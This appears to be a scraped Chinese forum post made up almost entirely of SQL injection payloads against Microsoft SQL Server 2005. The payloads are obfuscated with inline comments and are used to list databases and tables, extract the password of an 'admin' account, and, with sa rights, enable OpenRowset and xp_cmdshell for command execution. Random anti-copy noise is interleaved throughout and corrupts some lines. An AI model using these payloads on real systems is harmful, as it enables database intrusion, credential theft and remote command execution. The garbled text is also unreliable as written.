& O8 q4 Y* W5 @' `- S) h6 u8 J2 W3 V: M3 k/ E1 y* ]. f, h8 e$ f
, B+ E# c6 B, M/ r x; c4 O' g
[Copy to clipboard]CODE:( z0 }8 M- f4 U4 `/ Q8 F8 P
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--8 n+ Z O' K4 o/ F* A) S, J. O
/ C+ V* G0 q9 v: u爆表语句,somedb部份是所要列的数据库,红色数字1累加' [: R$ x y6 m; O
$ h" g; e% L6 E
% a! E* H) p/ h4 m% ]2 c
[Copy to clipboard]CODE:
5 [" v( t C) [8 i8 Y/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--! u% \3 u8 L6 G" T
- w0 P; N) i& a( |2 S+ k# I" x爆字段语句,爆表admin里user='icerover'的密码段
* g; E$ ~6 z/ L% Q) G" \2 q! S* v9 R* `: J$ `( A& E
% N! ^; H8 m0 f
[Copy to clipboard]CODE:
* |8 p0 P3 p9 Q% ]& S+ u**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--4 S7 W$ l4 m( R% \
$ ^2 N! L; D& z; A4 V/ Gmssql2005默认没有开xp_cmdshell的,openrowset也不能用
9 p$ t* m4 g( Z如果是sa权限,可以这样来开启
: E* X7 r% y" E0 Z$ V. n4 n6 t开启openrowset
6 K* K# B" l4 H1 w! Q5 O3 W
, h1 ~2 `+ V+ Y4 K0 A4 S; g# i' c) Z* }, a0 a
[Copy to clipboard]CODE:
0 q4 F$ g4 K) P7 q$ `/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--& `+ a0 v4 T4 b1 ?, [7 s* L
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--! X. ^& F1 N' m
; f+ r- ]6 z; Z2 U
开启xp_cmdshell3 P: m: l. D) u2 w: M
8 C& k7 a+ C+ f- k) z, v! U3 R! m$ e* w
[Copy to clipboard]CODE:7 C7 @; L m, w6 t. `, f! g4 L, w
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--. p& o" B7 M4 g$ z" @& s9 v
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
6 \# [. ^) n" ~& ^4 \' U) q
# ^9 L1 o. f4 _ok,over~~晚安
! d. f# A3 U( T9 @1 T8 Z8 K |